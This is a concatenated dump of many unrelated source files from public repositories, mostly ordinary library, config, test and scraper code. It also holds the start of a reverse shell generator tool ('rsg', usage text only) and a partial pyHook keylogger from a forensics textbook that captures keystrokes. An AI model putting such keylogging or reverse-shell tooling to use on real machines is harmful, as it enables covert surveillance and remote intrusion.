] | permissive | chimera-linux/cports | fdae59dc25856942be3041e10e3533dbf8f883c3 | 714680161cd719dd047452c95fbb9b447bc23a86 | refs/heads/master | 2023-09-03T19:30:40.720670 | 2023-09-03T15:07:40 | 2023-09-03T15:07:40 | 374,000,317 | 118 | 37 | BSD-2-Clause | 2023-09-14T20:31:08 | 2021-06-05T02:07:34 | Python | UTF-8 | Python | false | false | 30 | py | update.py | pattern = r">jdk-([\d.]+)-ga"
|
8fbec7887b739ccb3dbeec452eac76a132a01843 | 29b62d060fcb01eca2e319b70f4ca7b5c259d7c4 | /alita/factory.py | f3ae2d11c646dd355b91c73b5efb15f5705a0d33 | [] | no_license | dwpy/alita | eb4d58372b0d9d2988e63656511c61d8d6f88990 | 1d8a1565bc771e5ff16b454147cb44eadd19d237 | refs/heads/master | 2021-06-17T20:42:23.402187 | 2019-06-12T08:53:19 | 2019-06-12T08:53:19 | 174,462,948 | 119 | 2 | null | 2021-06-11T17:49:16 | 2019-03-08T03:31:05 | Python | UTF-8 | Python | false | false | 2,508 | py | factory.py | import os
import sys
import importlib
from alita.base import BaseFactory
def prepare_import(path):
"""
Given a filename this will try to calculate the python path, add it
to the search path and return the actual module name that is expected.
"""
path = os.path.realpath(path)
if os.path.splite... |
6904ad10cbc4c211bba7adcc0ad4a73033261a3c | 00c167b38fc1f6fc6d8a7bbf0b10b2a1a565dd34 | /rsg | 4433265b41fd89526af9753212df61249f132a29 | [
"MIT"
] | permissive | mthbernardes/rsg | 66772689028d0d2ab36e65fe7aca23d51795fcb9 | 2361cf88b30f9221296dc252f041d936b22dcb9f | refs/heads/master | 2023-05-11T11:22:11.459761 | 2022-04-19T19:06:25 | 2022-04-19T19:06:25 | 113,935,763 | 579 | 137 | MIT | 2023-04-27T10:10:55 | 2017-12-12T02:57:07 | Python | UTF-8 | Python | false | false | 2,376 | rsg | #!/usr/bin/env python3
from sys import argv, exit as exit_code
from os import system, path
from re import findall
from subprocess import check_output
def GREEN(text):
return "\033[32m{}\033[0m".format(str(text))
def usage():
print('''Usage: python3 {} <ip address> <port> [shell type]
Examples:
python3 {}... | |
d81aa736c544dc23b100d36a5ac2a14d005d99f7 | b8441dc1987be9e64fa3081d456b2a3060ec44d1 | /mars/tensor/fuse/numexpr.py | c4da91f1400efc23f04e55cd226a197a2842b7c8 | [
"BSD-3-Clause",
"MIT",
"ISC",
"Apache-2.0",
"CC0-1.0",
"BSD-2-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | mars-project/mars | f99fefbce999d58a9249bc72046787a9731c9c73 | c36c53fa22e10ef9477d9c454401a2f281375f31 | refs/heads/master | 2023-07-23T00:23:55.133015 | 2023-07-03T11:44:54 | 2023-07-03T11:44:54 | 160,543,708 | 2,704 | 362 | Apache-2.0 | 2023-09-11T07:57:35 | 2018-12-05T16:04:03 | Python | UTF-8 | Python | false | false | 6,225 | py | numexpr.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 1999-2021 Alibaba Group Holding Ltd.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-... |
6bc8b1f6a8962e3ace644225156bc9a80829948d | 3ccb023412acb22646d0132e25c41720e1522e1f | /Chapter 10/simple_keylogger.py | ae3eea636293f0561d9fb94e6a7a87e58a477dd7 | [] | no_license | PacktPublishing/Learning-Python-for-Forensics | dfecefcb686d5b1acdb861f2832b2a0edffaf140 | 4ca1e5601e7672f5b80d6109bafff81b6c359f49 | refs/heads/master | 2023-02-06T17:15:50.186542 | 2023-01-30T08:32:59 | 2023-01-30T08:32:59 | 60,173,644 | 104 | 56 | null | null | null | null | UTF-8 | Python | false | false | 654 | py | simple_keylogger.py | import pythoncom,pyHook
def OnKeyboardEvent(event):
"""
Process keyboard event
"""
if event.Ascii != 0 or event.Ascii != 8: # Skip Null & Backspace
if event.Ascii == 13: # Handles a 'Enter' key press
keylogs = '<return>'
else:
keylogs = chr(event.Ascii)
... |
c9749bc4cecf9be0ba723e814e459eb93c35130f | 458518b66f3628f9e80d98aa718dec7bb1bc79a7 | /pyecharts/render/display.py | 78c93e2a084c6eeef0dd40b6a8348598fff81351 | [
"MIT",
"Apache-2.0"
] | permissive | pyecharts/pyecharts | e40f4829f6edeb85f76008cebbc5a1557f35db19 | f92c839a51d3878eeb24504ad191706c9db2c2ed | refs/heads/master | 2023-09-01T07:32:21.285521 | 2023-08-21T03:59:26 | 2023-08-21T03:59:26 | 95,067,884 | 12,973 | 2,786 | MIT | 2023-08-25T05:44:08 | 2017-06-22T02:50:25 | Python | UTF-8 | Python | false | false | 2,364 | py | display.py | from ..types import Optional, Sequence, Union
from urllib.parse import urlparse
import http.client
class HTML:
def __init__(self, data: Optional[str] = None):
self.data = data
def _repr_html_(self):
return self.data
def __html__(self):
return self._repr_html_()
... |
0401bfbc6e5aa7085c7c88ac9ed3f5061fc49cad | 512cc7446bfc05b392ba7e697d316eb00c620c01 | /bin/fly_brain.py | 495ec2a448a4ee484f924e895f6f32f2c05e72da | [
"MIT"
] | permissive | brianhie/scanorama | b4ce1c947b097a5098850aeafa92cb0126791ad1 | 3fbff622d8c6c0122e699e2e72e9ab4e2a531c7f | refs/heads/master | 2022-12-13T05:23:11.764455 | 2022-11-28T18:50:30 | 2022-11-28T18:50:30 | 141,593,152 | 228 | 47 | MIT | 2022-11-28T18:48:41 | 2018-07-19T14:43:41 | Python | UTF-8 | Python | false | false | 1,277 | py | fly_brain.py | import numpy as np
from process import load_names, merge_datasets
from scanorama import process_data, find_alignments_table
from time_align import time_align_correlate, time_align_visualize, time_dist
NAMESPACE = 'fly_brain'
data_names = [
'data/fly_brain/DGRP-551_0d_rep1',
'data/fly_brain/DGRP-551_0d_rep2',... |
1576c12531b724098b4938bab203ebc568d50b66 | a5a99f646e371b45974a6fb6ccc06b0a674818f2 | /L1Trigger/GlobalTriggerAnalyzer/test/L1GtDataFromRawEmulAnalyzer_cfg.py | 3133a9cb55093a07539170a5586f678e56c045e1 | [
"Apache-2.0"
] | permissive | cms-sw/cmssw | 4ecd2c1105d59c66d385551230542c6615b9ab58 | 19c178740257eb48367778593da55dcad08b7a4f | refs/heads/master | 2023-08-23T21:57:42.491143 | 2023-08-22T20:22:40 | 2023-08-22T20:22:40 | 10,969,551 | 1,006 | 3,696 | Apache-2.0 | 2023-09-14T19:14:28 | 2013-06-26T14:09:07 | C++ | UTF-8 | Python | false | false | 73,723 | py | L1GtDataFromRawEmulAnalyzer_cfg.py | #
# cfg file for:
#
# Unpack the GCT, GMT and GT data.
# Run the L1 GT emulator on the unpacked GCT and GMT data.
# Compare the GT data records with the GT emulated records
#
import FWCore.ParameterSet.Config as cms
process = cms.Process("RunL1GtDataFromRawEmulAnalyzer")
# number of events and source
process... |
cc4ac77ed4939c041e43e27a022c11153491a137 | 4e4b752c4dbecf0b0d9f7cb86f9f76bb0ffa5d32 | /contrib/opencensus-ext-grpc/opencensus/ext/grpc/client_interceptor.py | 288bf650b8f816dc5ea14ba6bc43cb06c29bc526 | [
"Apache-2.0"
] | permissive | census-instrumentation/opencensus-python | ab6bcf12b16677d9ca7fc93a5f96c2946d138a0c | 3a2d8dfe1db4e0129dc691c35901a0d12127afc1 | refs/heads/master | 2023-09-02T13:53:19.757971 | 2023-03-16T22:10:07 | 2023-03-16T22:10:07 | 96,581,030 | 701 | 289 | Apache-2.0 | 2023-09-14T21:14:09 | 2017-07-07T22:28:28 | Python | UTF-8 | Python | false | false | 7,892 | py | client_interceptor.py | # Copyright 2017, OpenCensus Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in w... |
4b48032c72fcb49c29763eb725a7cb262efb4f26 | 4d28185e7a78a569f9a449f39f183cac3024f711 | /packages/Python/lldbsuite/test/commands/command/script/import/foo/foo2.py | 71657c299c219919a9e1b82ed4fbde338fb3e1b6 | [
"NCSA",
"Apache-2.0",
"LLVM-exception"
] | permissive | apple/swift-lldb | 2789bf44f648609a1674ee520ac20b64c95de072 | d74be846ef3e62de946df343e8c234bde93a8912 | refs/heads/stable | 2023-04-06T00:28:15.882479 | 2019-10-25T22:46:59 | 2019-10-25T22:46:59 | 44,838,862 | 780 | 291 | Apache-2.0 | 2020-01-10T19:28:43 | 2015-10-23T21:13:18 | C++ | UTF-8 | Python | false | false | 294 | py | foo2.py | from __future__ import print_function
def foo2_function(debugger, args, result, dict):
print("foo2 says " + args, file=result)
return None
def __lldb_init_module(debugger, session_dict):
debugger.HandleCommand("command script add -f foo2.foo2_function foo2cmd")
return None
|
5c12be7f373ce7e8b27b06bb33dcd0308dcd8403 | 1acbcda9259365865756e6fa559c4b56600e00dc | /lwp/__init__.py | 0a2564e236b316c44b667a78f1bbcd8ac107c371 | [
"MIT"
] | permissive | lxc-webpanel/LXC-Web-Panel | a4ff2fcb99abd0b794526a650a2cd89bc625d849 | 262ac59b8a026cb01ff72a56278673c3fce9b9c0 | refs/heads/0.2 | 2023-03-07T15:50:05.409894 | 2017-12-21T23:33:51 | 2017-12-21T23:33:51 | 8,950,398 | 441 | 211 | MIT | 2020-08-26T23:17:02 | 2013-03-22T11:17:26 | Python | UTF-8 | Python | false | false | 13,884 | py | __init__.py | # LXC Python Library
# for compatibility with LXC 0.8 and 0.9
# on Ubuntu 12.04/12.10/13.04
# Author: Elie Deloumeau
# Contact: elie@deloumeau.fr
# The MIT License (MIT)
# Copyright (c) 2013 Elie Deloumeau
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associate... |
74f8b117608f9ecda972df88621b67d98baa62d5 | 02b8727cb27298f8f0c0f0c4235045bcc9c290f9 | /habanero/cn_formats.py | a6bb94b54b456f50c2839ce75b4fbb6e5ba98e50 | [
"MIT"
] | permissive | sckott/habanero | d97d678a39771b91941f6c4f4c2a4f6f410f8465 | 8cbe3a8f283f3bf3135459070022ad1324252a15 | refs/heads/main | 2023-09-01T02:46:52.231185 | 2023-07-27T21:51:28 | 2023-07-27T21:51:28 | 43,704,742 | 160 | 30 | MIT | 2023-09-13T13:03:58 | 2015-10-05T18:23:28 | Python | UTF-8 | Python | false | false | 1,076 | py | cn_formats.py | cn_formats = [
"rdf-xml",
"turtle",
"citeproc-json",
"citeproc-json-ish",
"text",
"ris",
"bibtex",
"crossref-xml",
"datacite-xml",
"bibentry",
"crossref-tdm",
]
cn_format_headers = {
"rdf-xml": "application/rdf+xml",
"turtle": "text/turtle",
"citeproc-json": "tra... |
d6fbcf48b3bcbba76f9ef6b43566af61943caa4b | 71acb7214efd91c0d327f6d8958e1798eadb4401 | /locations/spiders/goldsmiths_gb.py | 40d5ce6ddccfdb2bafbf5fbd059a3d6f99195c90 | [
"CC0-1.0",
"MIT"
] | permissive | alltheplaces/alltheplaces | 21b9f8b4ace1352e52ae7b8f8825a930d2cb033e | 1bcbb55cfcf06f2c714465570711f6e83f205c22 | refs/heads/master | 2023-08-30T19:45:35.098658 | 2023-08-30T17:51:54 | 2023-08-30T17:51:54 | 61,166,935 | 453 | 176 | NOASSERTION | 2023-09-14T17:16:40 | 2016-06-15T01:09:18 | Python | UTF-8 | Python | false | false | 1,844 | py | goldsmiths_gb.py | from scrapy import Spider
from scrapy.http import JsonRequest
from locations.dict_parser import DictParser
from locations.hours import OpeningHours
class GoldsmithsGBSpider(Spider):
name = "goldsmiths_gb"
item_attributes = {"brand": "Goldsmiths", "brand_wikidata": "Q16993095"}
start_urls = ["https://www.... |
f9fb7840aa8d13f262b44b35e8d7585c0d37fd2a | 5599d46fdd4ecfa3a7d9ccb8e2aee648a5a0044c | /tests/tests/test_evaluate.py | ddaab032534b3db6e7824edb4de29501ce69875d | [] | no_license | MrOlm/drep | 552e95e7057bbe9550de832500fc51229b0bee27 | 27691e3d105693d7a42f2402366101c498186a27 | refs/heads/master | 2023-05-26T08:22:18.393677 | 2023-05-18T15:56:13 | 2023-05-18T15:56:13 | 69,408,336 | 200 | 44 | null | 2023-02-06T19:03:08 | 2016-09-27T23:55:43 | Python | UTF-8 | Python | false | false | 2,774 | py | test_evaluate.py | import os
import glob
import shutil
import pandas as pd
import importlib
import logging
import pytest
import tests.test_utils as test_utils
import drep
from drep import argumentParser
from drep.controller import Controller
from drep.WorkDirectory import WorkDirectory
@pytest.fixture()
def self():
self = test_uti... |
8b349f14090c69347de153c92f10bedd447785c8 | 157d84f8aafc76ba9ea0dbbf08ede744966b4250 | /tools/development/setup_test_agent.py | cd7c1ae73a4085ab024cdf37e85a670379297d8b | [
"Apache-2.0",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | rancher/cattle | 81d165a0339a41950561fe534c7529ec74203c56 | 82d154a53f4089fecfb9f320caad826bb4f6055f | refs/heads/v1.6 | 2023-08-27T20:19:31.989806 | 2020-05-01T18:15:55 | 2020-05-01T20:11:28 | 18,023,059 | 487 | 233 | Apache-2.0 | 2022-01-03T18:07:33 | 2014-03-23T00:19:52 | Java | UTF-8 | Python | false | false | 957 | py | setup_test_agent.py | #!/usr/bin/env python
import cattle
def find_instance(instance):
hosts = instance.hosts()
if len(hosts) > 0:
return hosts[0].agent().uuid == 'test-agent'
return False
client = cattle.from_env()
UUID = 'docker0-agent-instance-provider'
nsp = client.list_network_service_provider(uuid=UUID)[0]
inst... |
cfa7f1cd22909e05461fc27046544abe96b7e2e8 | 1ffa0900d91ff7dc76e933489d354252edc5dbb9 | /gateware/sim/test_slow_adc.py | d39476383cdc8bdce5a148724647ebf8b070dd22 | [] | no_license | softerhardware/Hermes-Lite2 | 6b05ef86f83e2c2b83ae622d3867f790532bbce0 | 0a6e07c37a23cd3a8721b6c3089e28721c378883 | refs/heads/master | 2023-08-05T17:16:25.996884 | 2023-07-27T04:21:47 | 2023-07-27T04:21:47 | 74,639,005 | 177 | 82 | null | 2022-02-04T06:26:33 | 2016-11-24T04:53:08 | HTML | UTF-8 | Python | false | false | 3,517 | py | test_slow_adc.py | #!/usr/bin/env python
from myhdl import *
import os
import i2c
module = 'slow_adc'
testbench = 'test_%s' % module
srcs = []
srcs.append("../rtl/%s.v" % module)
srcs.append("../rtl/i2c_master.v")
srcs.append("%s.v" % testbench)
src = ' '.join(srcs)
build_cmd = "iverilog -g2012 -o %s.vvp %s" % (testbench, src)
v... |
1922263dec3c33f098b31ceab79190b5379aac0c | cb3b27f0ed142ba31d73e44d7d3214c781b84eb6 | /setup.py | df4098796e85d6dafb275b84d1d56610f7e8370f | [
"MIT"
] | permissive | mpcabd/python-arabic-reshaper | 879f08f1d28f5460a87d721f1289cc1dfe58f904 | 2990ceb11276a278849abc97f245aa3eb09173cc | refs/heads/master | 2023-02-01T18:04:47.534010 | 2023-01-10T14:33:44 | 2023-01-10T14:33:44 | 4,286,622 | 372 | 83 | MIT | 2022-10-13T14:04:07 | 2012-05-10T15:57:45 | Python | UTF-8 | Python | false | false | 1,558 | py | setup.py | #!/usr/bin/env python
# coding=utf-8
from setuptools import setup
import io
import os
with io.open('README.md', 'r', encoding='utf-8') as fh:
long_description = fh.read()
setup(
name='arabic_reshaper',
description=('Reconstruct Arabic sentences to be used in'
' applications that do not ... |
58bfe50a683c8dd71e4633887f79ec262f03ed1a | 6fdb4eaf5b0e6dbd7db4bf947547541e9aebf110 | /api/src/opentrons/calibration_storage/ot2/pipette_offset.py | 83616a3737a85cd201129e914a4d324adfd912d5 | [
"LicenseRef-scancode-warranty-disclaimer",
"Apache-2.0"
] | permissive | Opentrons/opentrons | 874321e01149184960eeaeaa31b1d21719a1ceda | 026b523c8c9e5d45910c490efb89194d72595be9 | refs/heads/edge | 2023-09-02T02:51:49.579906 | 2023-08-31T16:02:45 | 2023-08-31T16:02:45 | 38,644,841 | 326 | 174 | Apache-2.0 | 2023-09-14T21:47:20 | 2015-07-06T20:41:01 | Python | UTF-8 | Python | false | false | 4,005 | py | pipette_offset.py | import json
import typing
import logging
from pydantic import ValidationError
from dataclasses import asdict
from opentrons import config, types
from .. import file_operators as io, types as local_types
from .models import v1
from opentrons.types import Mount, Point
from opentrons.util.helpers import utc_now
log =... |
7f4efed1d9815d01a3e9507021162d0289279bb1 | 749af8e81d5ccd2d8714a34434a9c77772df551b | /statsmodels/tools/catadd.py | 8016ba9630ff693b631ca6869a863d292a012687 | [
"BSD-3-Clause"
] | permissive | statsmodels/statsmodels | 98ca67192c08bcc611ed3a75edaded2c7181ab98 | 01b19d7d111b29c183f620ff0a949ef6391ff8ee | refs/heads/main | 2023-09-05T13:05:49.497076 | 2023-09-01T10:54:50 | 2023-09-01T10:54:50 | 1,885,237 | 8,666 | 3,023 | BSD-3-Clause | 2023-09-13T17:51:48 | 2011-06-12T17:04:50 | Python | UTF-8 | Python | false | false | 1,010 | py | catadd.py | import numpy as np
def add_indep(x, varnames, dtype=None):
'''
construct array with independent columns
x is either iterable (list, tuple) or instance of ndarray or a subclass
of it. If x is an ndarray, then each column is assumed to represent a
variable with observations in rows.
'''
# ... |
21d12c7d654f3963b1b5d7b24708a3f01b0af115 | 92d97211aebc18d62fdde441ea775198a231c362 | /small_text/query_strategies/coresets.py | d7f7e0e7ab5a711e675d29a3fa9619d04d1c10d3 | [
"MIT"
] | permissive | webis-de/small-text | 4a510bc4dd9a2110976121603bcc859581a5141c | 2bb16b7413f85f3b933887c7054db45b5652d3a2 | refs/heads/main | 2023-09-03T06:00:20.976398 | 2023-08-19T18:28:43 | 2023-08-19T18:28:43 | 370,275,343 | 476 | 58 | MIT | 2023-08-23T20:54:25 | 2021-05-24T08:06:41 | Python | UTF-8 | Python | false | false | 7,393 | py | coresets.py | import warnings
import numpy as np
from sklearn.metrics import pairwise_distances
from small_text.query_strategies.strategies import EmbeddingBasedQueryStrategy
_DISTANCE_METRICS = ['cosine', 'euclidean']
def _check_coreset_size(x, n):
if n > x.shape[0]:
raise ValueError(f'n (n={n}) is greater the num... |
44b24006ac794d6e8fbc0cb8380887bd98010bee | 2909c14ac6232b4867a3aca166945634da5f9b7a | /tests/functional_tests/expected_values/linkedin.py | f2ee89bd22865a3c8e031d9264869d6f698c81f8 | [
"MIT"
] | permissive | authomatic/authomatic | 4c66cd6941e4309c8226ee935261ce2bd3bebde8 | 290e62e572f038fbd01d686a4556629f72037c15 | refs/heads/master | 2023-09-03T04:03:55.755212 | 2023-06-09T10:55:35 | 2023-06-09T10:55:35 | 8,073,983 | 289 | 67 | MIT | 2023-06-09T10:55:36 | 2013-02-07T14:13:35 | Python | UTF-8 | Python | false | false | 2,360 | py | linkedin.py | # -*- coding: utf-8 -*-
import re
import fixtures
import constants
from authomatic.providers import oauth2
conf = fixtures.get_configuration('linkedin')
CONFIG = {
'login_xpath': '//*[@id="session_key-oauth2SAuthorizeForm"]',
'password_xpath': '//*[@id="session_password-oauth2SAuthorizeForm"]',
'consen... |
880bab4e4f22fd0a8f487c6df885a4f3d45f5dfa | 9577725de28e621e4b0ec275251a2b2e7ecb0261 | /boxsdk/object/event.py | c18424c2aaac3d219790f2529bb1445833f7009f | [
"Apache-2.0"
] | permissive | box/box-python-sdk | 0b7014d69da14baacf9ac777c347664b924325b5 | 4f11d7596488194fc740936fe987f42864003d41 | refs/heads/main | 2023-08-17T04:33:23.692675 | 2023-08-11T11:24:36 | 2023-08-11T11:24:36 | 30,386,388 | 424 | 285 | Apache-2.0 | 2023-09-14T11:43:27 | 2015-02-06T00:30:55 | Python | UTF-8 | Python | false | false | 140 | py | event.py | from .api_json_object import APIJSONObject
class Event(APIJSONObject):
"""Represents a single Box event."""
_item_type = 'event'
|
973aa55403d9182492c5b570e9ad171b5810fb0d | 53a378e41f734a730c71815dd025b0f0b55b3ec6 | /hfc/util/keyvaluestore.py | 95a488800388467f573363b8f4af01b2d505ee01 | [
"Apache-2.0",
"CC-BY-4.0"
] | permissive | hyperledger/fabric-sdk-py | 9db7635ed2c106395dbae0e5ffddee130c1f5afc | 0ca510569229217f81fb093682c38e1b4a0cd7c6 | refs/heads/main | 2023-08-24T06:13:49.843521 | 2023-03-20T18:33:01 | 2023-03-30T23:57:34 | 67,946,893 | 439 | 292 | Apache-2.0 | 2023-06-10T19:07:14 | 2016-09-11T18:26:24 | Python | UTF-8 | Python | false | false | 3,783 | py | keyvaluestore.py | # Copyright IBM Corp. 2016 All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... |
2f6c0265ada5c332796bb9fe6bbec4f94ef4bfab | 7f24023d365e013ec0924844c1a872edfb0c75b4 | /pyxb/bundles/opengis/iso19139/v20070417/gco.py | 94f530efcf32213ff94b19f1d115506ff5ee32a4 | [
"Python-2.0",
"MIT",
"Apache-2.0"
] | permissive | pabigot/pyxb | cd42c024607572c6363682d389e9296caf3f2857 | 5ee5ba54c9f702dc9c9efc2731ee547ecd4dae4a | refs/heads/next | 2023-05-11T03:23:19.599756 | 2023-04-29T20:38:15 | 2023-04-29T20:45:13 | 20,547,850 | 130 | 63 | Apache-2.0 | 2021-08-19T16:52:18 | 2014-06-06T01:49:03 | Python | UTF-8 | Python | false | false | 62 | py | gco.py | from pyxb.bundles.opengis.iso19139.v20070417.raw.gco import *
|
1a0e27ad3def68364cc5de5e8916ed964c09b50c | e210c28eeed9d38eb78c14b3a6388eca1e0e85d8 | /nvflare/private/fed/app/server/server_train.py | 6da0de4ded7c5aba2bb69b56d92f8bc1f25ae483 | [
"Apache-2.0"
] | permissive | NVIDIA/NVFlare | 5a2d2e4c85a3fd0948e25f1ba510449727529a15 | 1433290c203bd23f34c29e11795ce592bc067888 | refs/heads/main | 2023-08-03T09:21:32.779763 | 2023-07-05T21:17:16 | 2023-07-05T21:17:16 | 388,876,833 | 442 | 140 | Apache-2.0 | 2023-09-14T19:12:35 | 2021-07-23T17:26:12 | Python | UTF-8 | Python | false | false | 5,786 | py | server_train.py | # Copyright (c) 2021, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
b65ffee007d5cde790b3d2d40fe7b65dfff158cb | 9edbe7b1ec03b557aa8f5b8fc6b7623bdb9151b3 | /sample_factory/utils/gpu_utils.py | d94673f30cc6895deda4b1aabfa322591d4e47eb | [
"MIT"
] | permissive | alex-petrenko/sample-factory | 77c0370ef73902c5530acec7cb49cc1eff224173 | 7e1e69550f4de4cdc003d8db5bb39e186803aee9 | refs/heads/master | 2023-07-24T17:27:10.924055 | 2023-06-30T12:09:31 | 2023-06-30T12:09:31 | 192,824,415 | 644 | 99 | MIT | 2023-07-17T08:50:05 | 2019-06-20T00:59:01 | Python | UTF-8 | Python | false | false | 3,428 | py | gpu_utils.py | import os
from typing import List, Optional
import torch
from sample_factory.utils.get_available_gpus import get_gpus_without_triggering_pytorch_cuda_initialization
from sample_factory.utils.utils import log
CUDA_ENVVAR = "CUDA_VISIBLE_DEVICES"
def set_global_cuda_envvars(cfg):
if CUDA_ENVVAR not in os.environ... |
1445ff4a7981ffe618dce401e09f10f450923a7b | 83b8b30ebb633eecd29ca0a7a20cc43a293c9333 | /tests/basics/int_bytes.py | d42afac1fd4ecf4e3ee5f9b6c99084455dcc3555 | [
"MIT",
"GPL-1.0-or-later"
] | permissive | adafruit/circuitpython | 430ec895149d1eb814b505db39b4977a35ee88a7 | 506dca71b0cbb7af749bb51f86b01021db5483b3 | refs/heads/main | 2023-08-21T16:30:46.781068 | 2023-08-20T00:39:44 | 2023-08-20T00:39:44 | 66,166,069 | 3,806 | 1,560 | MIT | 2023-09-14T19:23:51 | 2016-08-20T20:10:40 | C | UTF-8 | Python | false | false | 1,303 | py | int_bytes.py | print((10).to_bytes(1, "little"))
print((-10).to_bytes(1, "little", signed=True))
# Test fitting in length that's not a power of two.
print((0x10000).to_bytes(3, 'little'))
print((111111).to_bytes(4, "little"))
print((-111111).to_bytes(4, "little", signed=True))
print((100).to_bytes(10, "little"))
print((-100).to_bytes... |
833f1e7f7d9f960e689f8e18af5171a0012ce401 | 80529a0e7959d1165c14b8cfb2c61262d293421a | /transvar/parser.py | a6ca397e0177e3d4aa6339dbb21a02e6a98698b9 | [
"MIT"
] | permissive | zwdzwd/transvar | 32f126524d996832bb1e0153c0c5ec2575ff9b20 | f7c17a8def902c00c403066fce791c3ad4eeb355 | refs/heads/master | 2023-04-29T17:36:43.585077 | 2022-01-11T19:35:55 | 2022-01-11T19:35:55 | 50,932,056 | 120 | 39 | NOASSERTION | 2023-04-19T22:39:27 | 2016-02-02T15:55:41 | Python | UTF-8 | Python | false | false | 23,250 | py | parser.py | """
The MIT License
Copyright (c) 2015
The University of Texas MD Anderson Cancer Center
Wanding Zhou, Tenghui Chen, Ken Chen (kchen3@mdanderson.org)
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Softwa... |
8100129a2ce5842d9423399fcc8273b3032faa8f | 9cc6f9d9eed9aceb5efa56e3b2f364900df11051 | /improver_tests/precipitation_type/hail_fraction/test_HailFraction.py | 79882230168536e46eceac2bc74d807f30025588 | [
"BSD-3-Clause",
"LicenseRef-scancode-proprietary-license"
] | permissive | metoppv/improver | 8553a4f8b93c88291bde0db8f5dfd7b577c04b92 | cd2c9019944345df1e703bf8f625db537ad9f559 | refs/heads/master | 2023-08-30T19:01:04.946698 | 2023-08-25T13:57:20 | 2023-08-25T13:57:20 | 85,334,761 | 101 | 88 | BSD-3-Clause | 2023-09-14T19:07:45 | 2017-03-17T16:51:29 | Python | UTF-8 | Python | false | false | 7,280 | py | test_HailFraction.py | # -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# (C) British Crown copyright. The Met Office.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are me... |
9cf6a3d42c9b1303b6c6acf68313d6e5642e4962 | a4ea525e226d6c401fdb87a6e9adfdc5d07e6020 | /src/azure-cli/azure/cli/command_modules/vm/manual/custom.py | 70ff60d5600ca9dbcab8e1fff1e6217fa06e0a60 | [
"MIT",
"BSD-3-Clause",
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MPL-2.0",
"LGPL-2.1-only",
"Apache-2.0",
"LGPL-2.1-or-later",
"BSD-2-Clause"
] | permissive | Azure/azure-cli | 13340eeca2e288e66e84d393fa1c8a93d46c8686 | a40fd14ad0b6e89720a2e58d4d9be3a6ce1535ca | refs/heads/dev | 2023-08-17T06:25:37.431463 | 2023-08-17T06:00:10 | 2023-08-17T06:00:10 | 51,040,886 | 4,018 | 3,310 | MIT | 2023-09-14T11:11:05 | 2016-02-04T00:21:51 | Python | UTF-8 | Python | false | false | 2,278 | py | custom.py | # --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incor... |
6790aa64d0d5c99e0405168728d8c7e2ddc8439a | b347bc4b850dee4a8a9a171b563a3f31230ce1c7 | /sktime/regression/interval_based/__init__.py | 571711f5be59a3afc980128eefc579bcfe4eba46 | [
"BSD-3-Clause"
] | permissive | sktime/sktime | 5963962df338c5931a2f9f1794d1203c50ddc27e | 70b2bfaaa597eb31bc3a1032366dcc0e1f4c8a9f | refs/heads/main | 2023-08-22T18:20:08.022950 | 2023-08-22T15:24:39 | 2023-08-22T15:24:39 | 156,401,841 | 1,117 | 268 | BSD-3-Clause | 2023-09-14T20:44:21 | 2018-11-06T15:08:24 | Python | UTF-8 | Python | false | false | 235 | py | __init__.py | #!/usr/bin/env python3 -u
"""Implement interval based time series regression estimators."""
__author__ = ["mloning"]
__all__ = ["TimeSeriesForestRegressor"]
from sktime.regression.interval_based._tsf import TimeSeriesForestRegressor
|
e5da547a20e7ecef06da556fac6d2946578f4b24 | a115d1ea106a890a877d902efc70e3f806525de8 | /tests/test_metric_logger.py | a5b884c908103f4cbdf364b94f4894083cff420b | [
"Python-2.0",
"MIT"
] | permissive | KaihuaTang/Scene-Graph-Benchmark.pytorch | 7b59051e78d566f1b94836280ca91a61e2503bb4 | 4b6b71a90d4198d9dae574d42b062a5e534da291 | refs/heads/master | 2023-08-04T18:32:27.979660 | 2022-07-29T06:16:23 | 2022-07-29T06:16:23 | 241,830,209 | 1,002 | 261 | MIT | 2023-07-30T08:37:14 | 2020-02-20T08:23:54 | Jupyter Notebook | UTF-8 | Python | false | false | 789 | py | test_metric_logger.py | # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.
import unittest
from maskrcnn_benchmark.utils.metric_logger import MetricLogger
class TestMetricLogger(unittest.TestCase):
def test_update(self):
meter = MetricLogger()
for i in range(10):
meter.update(metric=floa... |
a8e76955a12ee407cb121f7a519f41ce6ce2f16a | f509ab9825c542e09b0c6591d86ef1f9feb540a6 | /pkgs/ops-pkg/src/genie/libs/ops/route_policy/iosxr/tests/route_policy_output.py | 8bcd587c92b9db2be20bacae9b6aae42ad124a47 | [
"Apache-2.0"
] | permissive | CiscoTestAutomation/genielibs | 97f597117193aaa18028defeb69078ebb241173a | e42e51475cddcb10f5c7814d0fe892ac865742ba | refs/heads/master | 2023-08-11T16:39:41.959947 | 2023-07-27T17:58:42 | 2023-07-27T17:58:42 | 130,717,047 | 109 | 60 | Apache-2.0 | 2023-08-29T22:32:08 | 2018-04-23T15:21:56 | Python | UTF-8 | Python | false | false | 15,150 | py | route_policy_output.py | '''
RoutePolicy Genie Ops Object Outputs for IOSXR.
'''
